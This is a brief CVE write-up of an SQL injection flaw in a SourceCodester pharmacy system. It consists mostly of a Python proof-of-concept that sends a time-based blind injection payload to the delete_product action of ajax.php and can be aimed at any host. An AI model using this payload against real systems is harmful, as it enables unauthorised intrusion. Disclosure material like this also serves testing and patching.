CVE-2026-7199 SourceCodester药房系统SQL注入漏洞

import requests def check_sqli(target_url): # Vulnerable endpoint full_url = f"{target_url}/ajax.php" # Payload for time-based blind SQL injection # Checks if the database waits for 5 seconds params = { "action": "delete_product", "ID": "1 AND SLEEP(5)-- -" } try: print(f"[*] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # If response time is greater than 5 seconds, the SQL executed successfully if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! SQL Injection is possible.") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli(target)